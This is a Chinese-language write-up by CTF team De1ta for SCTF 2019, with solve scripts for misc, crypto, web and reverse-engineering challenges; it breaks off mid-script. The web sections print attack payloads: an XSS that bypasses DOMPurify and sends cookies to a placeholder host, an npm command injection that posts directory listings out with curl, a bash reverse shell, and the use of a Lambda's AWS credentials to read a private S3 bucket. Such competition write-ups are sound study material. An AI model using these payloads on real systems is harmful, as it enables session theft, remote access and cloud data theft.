SCTF 2019 Writeup

De1ta-Team

Team:De1ta

前排广告位

De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手

有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

De1ta是一个充满活力的CTF团队,成立至今的一年里,我们在不断变强,也在不断完善内部的制度,使得De1ta的每一位成员都能在技术和热情上保持提升,欢迎各位师傅的加入,尤其欢迎CTF新起之秀的加入。

Misc

签到

关注公众号,cat /flag

头号玩家

一直往上走flag就出来了

image.png

sctf{You_Are_The_Ready_Player_One!!!For_Sure!!!}

Maaaaaaze

找迷宫中任意两点最大路径

最后答案是4056

把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进去跑,来回几次就得到4056了

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
> import sys
> sys.setrecursionlimit(100000)
>
> file = open("sctfmaze.txt")
> maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
> vis = [[0 for j in range(0, 100)] for i in range(0, 100)]
> class Node:
> t = 0
> r = 0
> b = 0
> l = 0
> #print maze
> for line in file:
> a = line[:-1].split(" ")
> #print a
> n = Node()
> for i in range(2,len(a)):
> #print a[i],
> if a[i] == '0' :
> n.t = 1
> if a[i] == '1' :
> n.r = 1
> if a[i] == '2' :
> n.b = 1
> if a[i] == '3' :
> n.l = 1
> #print a[i],
> #print
> maze[int(a[0])][int(a[1])] = n
> #print a[0],a[1],maze[int(a[0])][int(a[1])].b
> #exit()
> def check(i,j):
> if i>=100 or i<0 or j>=100 or j<0:
> return False
> if vis[i][j] == 1:
> return False
> return True
>
> def printmap():
> global vis
> for i in range(0,100):
> for j in range(0,100):
> if vis[i][j] == 1:
> print "%2d%2d" % (i,j)
> print " "
>
> maxx = 0
> print maxx,i,j
>
> def dfs(i,j,n):
> global maxx
> global vis
> global maze
> n += 1
>
> #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
> if n>maxx:
> print n,i,j
> #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
>
> maxx = n
> if check(i-1,j) and maze[i][j].t == 0:
> vis[i-1][j] = 1
> dfs(i-1,j,n)
> vis[i-1][j] = 0
> if check(i,j+1) and maze[i][j].r == 0:
> vis[i][j+1] = 1
> dfs(i,j+1,n)
> vis[i][j+1] = 0
> if check(i+1,j) and maze[i][j].b == 0:
> vis[i+1][j] = 1
> dfs(i+1,j,n)
> vis[i+1][j] = 0
> if check(i,j-1) and maze[i][j].l == 0:
> vis[i][j-1] = 1
> dfs(i,j-1,n)
> vis[i][j-1] = 0
>
> vis[70][22] = 1
> dfs(70,22,0)
> exit()
>
> for i in range(0,100):
> for j in range(0,100):
> #print i,j
> vis[i][j] = 1
> dfs(i,j,0)
> vis[i][j] = 0
>

打开电动车

根据这篇文章

http://www.kb-iot.com/post/756.html

可知钥匙信号(PT224X) = 同步引导码(8bit) + 地址位(20bit) + 数据位(4bit) + 停止码(1bit)

用audacity打开信号文件,信号为 011101001010101001100010

这里题目截取到的信号中不包括同步码,前20位即为地址码,即为flag

sctf{01110100101010100110}

image.png

Crypto

babygame

题目首先需要proof_of_work,要求m和rsa加密m之后再解密的结果不相同,让m比n大即可绕过

进入系统之后有两个选项

1.随机生成三组不同的a,b,n,使用相同的e=3,使得c=pow(a*m+b,e,n),然后会给我们三组不同的a,b,n和c。最后再使用aes_ofb加密m,将结果也给我们。其中aes的iv和key都是随机生成的

2.我们需要输入aes_ofb加密之后的m的结果,其中m需要将其中的afternoon替换为morning,如果构造的正确则返回flag
解题思路:

1.通过Broadcast Attack with Linear Padding解出m为”I will send you the ticket tomorrow afternoon”

2.将m,修改后的m,以及aes_ofb加密之后的m的结果进行异或,得到的最终结果就是修改后的m进行aes_ofb加密之后的结果。将此结果发送给服务器便得到flag

sctf{7h15_ch4ll3n63_15_n07_h4rd_f0r_y0u_r16h7?}

解题脚本:

1.hastads.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
> def hastads(cArray,nArray,e=3):
> """
> Performs Hastads attack on raw RSA with no padding.
> cArray = Ciphertext Array
> nArray = Modulus Array
> e = public exponent
> """
>
> if(len(cArray)==len(nArray)==e):
> for i in range(e):
> cArray[i] = Integer(cArray[i])
> nArray[i] = Integer(nArray[i])
> M = crt(cArray,nArray)
> return(Integer(M).nth_root(e,truncate_mode=1))
> else:
> print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")
>
>
> def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
> """
> Performs Hastads attack on raw RSA with no padding.
> This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
> Where they are all encryptions of the same message.
> cArray = Ciphertext Array
> nArray = Modulus Array
> aArray = Array of 'slopes' for the linear padding
> bArray = Array of 'y-intercepts' for the linear padding
> e = public exponent
> """
> if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
> for i in range(e):
> cArray[i] = Integer(cArray[i])
> nArray[i] = Integer(nArray[i])
> aArray[i] = Integer(aArray[i])
> bArray[i] = Integer(bArray[i])
> TArray = [-1]*e
> for i in range(e):
> arrayToCRT = [0]*e
> arrayToCRT[i] = 1
> TArray[i] = crt(arrayToCRT,nArray)
> P.<x> = PolynomialRing(Zmod(prod(nArray)))
> gArray = [-1]*e
> for i in range(e):
> gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
> g = sum(gArray)
> g = g.monic()
> # Use Sage's inbuilt coppersmith method
> roots = g.small_roots(epsilon=eps)
> if(len(roots)== 0):
> print("No Solutions found")
> return -1
> return roots[0]
>
> else:
> print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
> "and the same size as the public exponent")
>
> def LinearPadding():
> import random
> import binascii
>
> e = 3
>
> nArr = [
> 0x81e620887a13849d094251e5db9b9160d299d2233244876344c0b454c99f7baf9322aa90b371f59a8ed673f666137df1f1e92d86e7b036479a2519827a81c7648543e16d4d0a334d0aa1124ad4c794298c3a227abfe1d44470ad4649609630450cb83f42f68ff2c445aaf546483b7a2b0a6e5877634ace5e640f8d8cbdc6a379,
> 0x6c7c7935c58a586cf45e2e62ee51f6619ae2f6a7cef3865ed40a0d62ec31ba612e81045bcc6e50aa41d225b0f92b0d4a40051e2cf857ba61e91619e8fb3e2691d276c1abb5231c8012deb449e85752d2a02119bb186da6f7d41d704261284b395eec17ed4a2b07d1b97e34db8164e3093dd6cffbb0119ef8b3e9e960b0d96d05,
> 0x5e67f4953462f66d217e4bf80fd4f591cbe22a8a3eac42f681aea880f0f90e4a34aca250b01754dd49d3b7512011609f757cbaf8ae7c97d5894fb92fb36595aff4a1303d01e5c707284bbfdc20b8378e046650675353e471853fa294f779df7b1b3f7cbe1748c2109d22cea682b01cb2c7719df03783e66cc3e44889a002c517]
> cArr = [
> 0x3512b763bab0b45b2c6941cccd550c8b2628cea0f162dc3902951e48115d58d16ea25075da6331617e7a4ac6062190f8ce91c65c91cff57a845a21d2ebd792b46bdcb666bc4aeab2232f990956084003b652664444ba0255dbab16620b2b232a1a4e6ec04e24249ff7ba33c70cb98c50d1f46bed076c53e2c95d0ec7dee5ad2f,
> 0x36bfe6fba6f34b93a0d2d44c890dfe44afc715a586bc1a44aa184571bb88a238187024b36b22a1f52a64f553fb52cf7ce193937e047307dd62e4c980601a3d20b1fbfe69888992726b11bf20330e48e4a64c6d4825d1c6d058d745f5a709c2ab5ac86da1feacf13e9de2237426b70a17a56d201b4743c68b70fdd4c7ce5eaa3,
> 0x4961ba65469dfc17e663af04dfb8eeee16c61df4f85971495d0c7e7061040602638963651791cfad28992312309c3179da27babf2a80fe41c062b21aa922da53bd793c614a0974ec5e5e18f9696df875e98aceef17d476d7615ea304e7e9869696711016151666f6b58f31241c590b3b313009434b444bcb7694bb8309d89475]
> aArr = [
> 0xd0f458bc246d88f38e78076b36ad58981928594035b9e428401dc3ccf049a8012926dffb5be9fa225e8e128370581acc79ee24fa259d4ea895ce61d3d607ed2b,
> 0xfbedf9c34170262e2ed0eee7512e935715400a8ce541285c98e5269d2cdf4dc1aa81e117bf5d62a3310064376e8c3d5d5c4fa67e5a434ad93e5875eaa7be9545,
> 0xa2995200a4f252d7ba9959a3b7d51c4b138f3823869f71573f4ab61c581ce8879d40396a33ddc32a93fd100a1029dba53e41a0acbe9e023a0bf51c6e4ddc911d]
> bArr = [
> 0xc2a6d47dc16824c86e92a9e88a931d215846052fe6787c11d0fcd9f4dde28f510707c33948290f69644a7fa64075d85e7761cfff3c627ee5156a03bd9f241c51,
> 0xc2343fdbb6a351b387174db494e03d0879bea084e65b16f3f0ad106472bd3974813aec28a01fcceeae00db6d38b6c32bb6ce900dff236ae9c5814ad089591115,
> 0xc4a2fb937c7441be58bfcb06208e0987423ab577041d0accf1f446545b9ebb7e4874fc56597ab1b842bb50e364a62f07a0afe7d6eff7a805361f8d3a12e79d65]
> randUpperBound = pow(2,500)
>
> msg = linearPaddingHastads(cArr,nArr,aArr,bArr,e=e,eps=1/8)
> msg = hex(int(msg))[2:]
> if(msg[-1]=='L'):
> msg = msg[:-1]
> if(len(msg)%2 == 1):
> msg = '0' + msg
> print(msg)
> print(binascii.unhexlify(msg))
>
> if __name__ == '__main__':
> LinearPadding()
>

2.exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
> HOST = "47.240.41.112"
> PORT = 54321
>
> from Crypto.Util.strxor import strxor
> from pwn import *
>
> def pad(msg):
> pad_length = 16 - len(msg) % 16
> return msg + chr(pad_length) * pad_length
>
> r = remote(HOST, PORT)
> ru = lambda x : r.recvuntil(x)
> rl = lambda : r.recvline()
> sl = lambda x : r.sendline(x)
>
> # Give a large number bigger than n to break proof_of_work
> ru('{65537, ')
> n = ru('L}').strip('L}')
> n = int(n[2:],16)
> ru('Give me something you want to encrypt:')
> sl(str(n**2))
>
> # pad the message and target message we got in the first step
> msg = pad("I will send you the ticket tomorrow afternoon")
> target_msg = pad("I will send you the ticket tomorrow morning")
>
> ru('message')
> sl('1')
> ru('this:')
> message = ((ru('\n').strip(' ')).strip('\n')).decode('hex')
> ru('message')
>
> # message xor enc_message = middle_key_stream, middle_key_stream xor target_message = enc_target_message, so enc_target_message = xor(message,enc_message,target_message)
> enc_target_message = strxor(strxor(target_msg,message),msg).encode('hex')
>
> # choice 2 and send enc_target_message to get flag
> sl('2')
> ru('now:')
> sl(enc_target_message)
> flag = ru('}')
> print "[+]FLAG IS: "+flag
> r.close()
>

warmup

就是看函数unpad

1
2
3
> def unpad(self, msg):
> return msg[:-ord(msg[-1])]
>

msg[-1]可以自己设置,也就是说。要满足:

1
2
3
> msg = self.unpad(msg)
> if msg == 'please send me your flag':
>

不一定要msg是'please send me your flag'+'\x08'*8

后面还可以加一个16字节的,最后伪造成这样

'please send me your flag'+'A'*23+'\x18'这个也能满足:

然后就要把那些A换成一些其它的值,使得能通过这个条件:

1
2
> if self.code(msg) == code:
>

个code函数就是每16位异或在一起,最后再进行一次确定性的加密。

已知的nc会给一个(明文,mac)对。记作(plaintext1,mac1)。

然后伪造一个(plaintext2,mac2)。让mac2=mac1,再让plaintext2每16位异或在一起的值和plaintext1每16位异或在一起的值相同就可以了。

回到这里'please send me your flag'+'A'*23+'\x18'

我们能控制最后一组16位中的前15个字符和倒数第二组15位的最后一个字符。

异或一下就可以知道那些’A’替换成什么了。然后发过去行了。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
> #!/usr/bin/python
> # -*- coding: utf-8 -*-
>
> from Crypto.Cipher import AES
> from Crypto.Util.strxor import strxor
> from Crypto.Random import get_random_bytes
> from FLAG import flag
>
> def pad(msg):
> pad_length = 16 - len(msg) % 16
> return msg + chr(pad_length) * pad_length
>
> iv = b'1'*16
>
> message = b'see you at three o\'clock tomorrow'
> message = iv+pad(message)
> res1 = bytes([0])*16
> for i in range(len(message)/16):
> res1 = bytesxor(message[i*16:(i+1)*16], res1)
>
>
>
> message2 = 'please send me your flag' # len=24
> message2 = iv+message2+7*b'\x00'+b'\x18'
> res2 = bytes([0])*16
> for i in range(len(message)/16):
> res2 = bytesxor(message[i*16:(i+1)*16], res2)
>
> sig = bytesxor(res1,res2)
> sig1 = sig[:15]
> sig2 = sig[15:]
>
> final = iv+message2+7*b'\x00'+sig2+sig1+b'\x18'
>
>

sctf{y0u_4r3_7h3_4p3x_ch4mp10n}

Web

math-is-fun1

题目给了个在线编辑器

http://47.110.128.101/challenge?name=Challenger

可以提交一个url到服务器,结合hint确定是要xss了

http://47.110.128.101/send_message.html

启用了Dompurify,且配置文件http://47.110.128.101/config 如下

1
2
3
> ({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE
> D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})
>

分析了页面里的js代码,渲染流程如下:

1.服务器将name参数拼接到一个config类型的script标签中

2.读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)

3.将config[name]拼接到textarea中

4.读取location.search中的text,URLdecode后覆盖textarea

5.监听textarea变化后会执行如下事件

6.读取textarea的内容

7.Dompurify过滤 (上面发的先知链接已经被修复)

8.markdown渲染 (不知道用的啥库)

9.latex渲染 (用的mathjax2.7.5不存在已知xss)

10.插入页面

猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码

https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js:966

image.png

当DOMPurify.isSupported为false,则能够绕过过滤

于是构造

name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)

把DOMPurify.isSupported设置为false,text参数的值就能直接插入页面中,造成xss

(这里不知道为啥直接text=<script>alert(1)就绕过csp弹窗了,可能是非预期

image.png

最后payload:

1
2
> name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
>

两题都可以用这个paylaod打

image.png

math-is-fun2

题解同上,

payload:

1
2
> name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
>

easy-web

用chrome可以看到webpack里有web接口相关信息

image.png

/upload接口可以打包nodejs库到zip并返回一个url给你下载

测试发现npm参数可以命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> POST /upload HTTP/1.1
> Host: sctf2019.l0ca1.xyz
> Connection: close
> Content-Length: 173
> Accept: application/json, text/plain, */*
> Origin: https://sctf2019.l0ca1.xyz
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
> Content-Type: application/json;charset=UTF-8
> Referer: https://sctf2019.l0ca1.xyz/
> Accept-Encoding: gzip, deflate
> Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
>
> {"key":"abcdefghiklmn123","npm":[";curl http://xxx:8088/ -X POST -d \"`ls -al`\""]}
>
>
>

找了半天,服务器里啥也没有,把源码扒下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
> const koa = require("koa");
> const AWS = require("aws-sdk");
> const bodyparser = require('koa-bodyparser');
> const Router = require('koa-router');
> const async = require("async");
> const archiver = require('archiver');
> const fs = require("fs");
> const cp = require("child_process");
> const mount = require("koa-mount");
> const cfg = {
> "Bucket":"static.l0ca1.xyz",
> "host":"static.l0ca1.xyz",
> }
>
> function getRandomStr(len) {
> var text = "";
> var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
> for (var i = 0; i < len; i++)
> text += possible.charAt(Math.floor(Math.random() * possible.length));
> return text;
> };
> function zip(archive, output, nodeModules) {
> const field_name = getRandomStr(20);
> fs.mkdirSync(`/tmp/${field_name}`);
> archive.pipe(output);
> return new Promise((res, rej) => {
> async.mapLimit(nodeModules, 10, (i, c) => {
> process.chdir(`/tmp/${field_name}`);
> console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
> cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
> if (error) {
> c(null, error);
> } else {
> c(null, stdout);
> }
> });
> }, (error, results) => {
> archive.directory(`/tmp/${field_name}/`, false);
> archive.finalize();
> });
> output.on('close', function () {
> cp.exec(`rm -rf /tmp/${field_name}`, () => {
> res("");
> });
> });
> archive.on("error", (e) => {
> cp.exec(`rm -rf /tmp/${field_name}`, () => {
> rej(e);
> });
> });
> });
> }
>
> const s3Parme = {
> // accessKeyId:"xxxxxxxxxxxxxxxx",
> // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
> }
> var s3 = new AWS.S3(s3Parme);
> const app = new koa();
> const router = new Router();
> app.use(bodyparser());
> app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
> router.get("/", async (ctx) => {
> return new Promise((resolve, reject) => {
> fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
> if (err) {
> ctx.throw("系统发生错误,请重试");
> return;
> };
> ctx.type = 'text/html';
> ctx.body = data.toString();
> resolve();
> });
> });
> })
> .post("/login",async(ctx)=>{
> if(!ctx.request.body.email || !ctx.request.body.password){
> ctx.throw(400,"参数错误");
> return;
> }
> ctx.body = {isUser:false,message:"用户名或密码错误"};
> return;
> })
> .post("/upload", async (ctx) => {
> const parme = ctx.request.body;
> const nodeModules = parme.npm;
> const key = parme.key;
> if(typeof key == "undefined" || key!="abcdefghiklmn123"){
> ctx.throw(403,"请求失败");
> return;
> }
> if (typeof nodeModules == "undefined") {
> ctx.throw(400, "JSON 格式错误");
> return;
> }
> const zipFileName = `${getRandomStr(20)}.zip`;
> var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
> var archive = archiver('zip', {
> zlib: { level: 9 },
> });
> try {
> await zip(archive, output, nodeModules);
> } catch (e) {
> console.log(e);
> ctx.throw(400,"系统发生错误,请重试");
> return;
> }
> const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
> const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
> console.log(e);
> ctx.throw(400,"系统发生错误,请重试");
> return;
> });
> ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
> cp.execSync(`rm -f /tmp/${zipFileName}`);
> return;
> })
> app.use(router.routes());
>
> if (process.env && process.env.AWS_REGION) {
> require("dns").setServers(['8.8.8.8','8.8.4.4']);
> const serverless = require('serverless-http');
> module.exports.handler = serverless(app, {
> binary: ['image/*', 'image/png', 'image/jpeg']
> });
> }else{
> app.listen(3000,()=>{
> console.log(`listening 3000......`);
> });
> }N
>
>

后端接受参数后打包zip,然后传到了AWS s3里

因为服务器中啥也没找到,故猜测flag不在web服务器里,在static.l0ca1.xyz里,

也就是AWS s3里,那就要获取

1
2
3
4
5
6
> const s3Parme = {
> // accessKeyId:"xxxxxxxxxxxxxxxx",
> // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
> }
>
>

记得AWS内网有地方可以看这个key

https://www.freebuf.com/articles/web/135313.html
http://www.52bug.cn/hkjs/5749.html
https://n0j.github.io/2017/10/02/aws-s3-ctf.html
https://www.jianshu.com/p/d34bbfc951fa
https://www.freebuf.com/articles/system/129667.html

/var/task/.git/

image.png

img.png

反弹shell bash -i >& /dev/tcp//6666 0>& 几秒钟就会断开,但是时间够了

接着服务器上 node -e运行js,带着凭据直接访问s3,类似ssrf

1
2
3
4
5
6
7
8
9
> const AWS = require("aws-sdk");
> const s3 = new AWS.S3();
> const bkt = s3.listObjects({Bucket: "static.l0ca1.xyz"});
> bkt.promise().then((data)=>{
> console.log(data)
> }
> );
>
>

image.png

1
2
3
4
5
6
7
8
9
> const AWS = require("aws-sdk");
> const s3 = new AWS.S3();
> const flag = s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"});
> flag.promise().then((data)=>{
> console.log(data)
> }
> );
>
>

image.png

image.png

方法2:

https://www.freebuf.com/articles/network/189688.html

当一个AWS Lambda函数执行时,它会使用一个由开发者(IAM角色)提供的临时安全证书。此时需要从AWS STS(安全令牌服务)接收以下三个参数:

access key id

secret access key

token

这时候就能直接读取self/environ获得这三个东西,然后本地起开aws cli配置好key直接读s3就行了

flag shop

robots.txt提示/filebak,访问后拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
> require 'sinatra'
> require 'sinatra/cookies'
> require 'sinatra/json'
> require 'jwt'
> require 'securerandom'
> require 'erb'
>
> set :public_folder, File.dirname(__FILE__) + '/static'
>
> FLAGPRICE = 1000000000000000000000000000
> #ENV["SECRET"] = SecureRandom.hex(xx)
>
> configure do
> enable :logging
> file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
> file.sync = true
> use Rack::CommonLogger, file
> end
>
> get "/" do
> redirect '/shop', 302
> end
>
> get "/filebak" do
> content_type :text
> erb IO.binread __FILE__
> end
>
> get "/api/auth" do
> payload = { uid: SecureRandom.uuid , jkl: 20}
> auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
> cookies[:auth] = auth
> end
>
> get "/api/info" do
> islogin
> auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
> json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
> end
>
> get "/shop" do
> erb :shop
> end
>
> get "/work" do
> islogin
> auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
> auth = auth[0]
> unless params[:SECRET].nil?
> if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
> puts ENV["FLAG"]
> end
> end
>
> if params[:do] == "#{params[:name][0,7]} is working" then
>
> auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
> auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
> cookies[:auth] = auth
> ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
>
> end
> end
>
> post "/shop" do
> islogin
> auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
>
> if auth[0]["jkl"] < FLAGPRICE then
>
> json({title: "error",message: "no enough jkl"})
> else
>
> auth << {flag: ENV["FLAG"]}
> auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
> cookies[:auth] = auth
> json({title: "success",message: "jkl is good thing"})
> end
> end
>
>
> def islogin
> if cookies[:auth].nil? then
> redirect to('/shop')
> end
> end
>
>

发现 ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

存在erb模版注入,构造name为<%=$~%>,do为<%=$~%> is working

结合ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

SECRET参数可控,如果匹配到SECRET,则$~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回

于是可以爆破secret,然后伪造JWT去买flag。

爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
> import requests
> import base64
>
> url = "http://47.110.15.101"
> re = requests.session()
> re.get(url + "/api/auth")
>
> flag = "09810e652ce9fa4882fe4875c"
> while True:
> i = ""
> for i in "0123456789abcdef":
> #now = flag + i
> now = i + flag
> res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
> if len(res.text) > 48:
> print res.text
> print flag
> flag = now
> break
> print flag
>
>

image.png

image.png

Re

Who is he

基于unity开发的游戏,实际只有一个视频播放器,输入框和一个确认框。

找了下资料,默认\<Game>_data\Managed\Assembly-CSharp.dll应该是存放主逻辑的地方。dnspy一把梭。

只是一个DES CBC模式的加密,密文密钥都有,初始iv和key相同。注意C#里面字符串默认是Unicode,密钥是”1234“,每个字符后面都要加”\x00”。

1
2
3
4
5
6
7
8
9
> import base64
> from Crypto.Cipher import DES
> key = b"1\x002\x003\x004\x00"
> des = DES.new(key, mode = DES.MODE_CBC, iv = key)
> cipher = b"1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA=="
> cipher = base64.b64decode(cipher)
> plain = des.decrypt(cipher)[0:-8].decode("utf-16")
> print(plain)
>

解出来得到

1
2
> He_P1ay_Basketball_Very_We11!Hahahahaha!
>

交一下发现不对,找了半天好像这个dll里没什么奇怪的地方了。

后面用ce,直接暴力搜索”Emmmmm”

image.png

搜到不止一个结果,在内存中查看一下有新的收获,这里base64的部分和之前dll里的不一样!一共有两个地方不同,先尝试直接解密。第一个得到:

1
2
> Oh no!This is a trick!!!
>

第二个不知base64改了,key也改成了test。

解密之后得到:

1
2
> She_P1ay_Black_Hole_Very_Wel1!LOL!XD!
>

提交正确。脚本:

1
2
3
4
5
6
7
8
9
10
11
> import base64
> from Crypto.Cipher import DES
> key = b"t\x00e\x00s\x00t\x00"
> # print(a)
> # print(key)
> des = DES.new(key, mode = DES.MODE_CBC, iv = key)
> a = b"xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU="
> a = base64.b64decode(a)
> res = des.decrypt(a)[0:-6].decode("utf-16")
> print(res)
>

继续在ce的内存中翻找,可以看到pe头。把整个dll dump下来,再丢尽dnspy,可以看到内容基本一致。

Creakme

main开头第一个函数进行SMC。先查找区段.SCTF,然后调用DebugBreak下断点。猜测是通过调试器附加的方式来修改。之后进入sub_402450进行SMC。

很容易写个脚本还原:

1
2
3
4
5
6
7
8
9
10
> from ida_bytes import get_bytes, patch_bytes
> st = 0x404000
> key = map(ord,list("sycloversyclover"))
> for i in range(512):
> tmp = ord(get_bytes(st,1))
> tmp^=key[i%16]
> tmp = ~tmp
> patch_bytes(st,chr(tmp))
> st+=1
>

修改的函数sub_404000在接下来的sub_4024A0中被调用到,可以发现它将之后的一串字符串修改为base64字符串

后面加密部分,很容易看出AES CBC,密文密钥初始向量都有

1
2
3
4
5
6
7
8
9
10
> from base64 import b64decode
> from Crypto.Cipher import AES
> key = b"sycloversyclover"
> iv = b"sctfsctfsctfsctf"
> aes = AES.new(key, mode = AES.MODE_CBC, iv = iv)
> res = b"nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo="
> cipher = b64decode(res)
> tmp = aes.decrypt(cipher)
> print(tmp)
>

得到flag:

1
2
> sctf{Ae3_C8c_I28_pKcs79ad4}
>

babyre

有几个简单的花指令。

主逻辑很清晰,三部分password。

第一部分为5*5*5的迷宫,wasd上下左右,xy在z轴方向上下移动。

1
2
3
4
5
6
> *****  *..**  *..**  *****  *****
> ***** ****. *..** ***** **..*
> ****. ****. ..#*. ***** *...*
> ****. ***** .***. ***** ..*.*
> **s.. ***** .***. .**.. .**.*
>

直接看出路径来:

1
2
> ddwwxxssxaxwwaasasyywwdd
>

第二部分就是base64

1
2
> c2N0Zl85MTAy
>

第三部分为一个简单的对称加密,直接逆回来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> #include"stdio.h"
> #include"string.h"
> #define ROL(x, r) (((x) << (r)) | ((x) >> (32 - (r))))
> #define ROR(x, r) (((x) >> (r)) | ((x) << (32 - (r))))
>
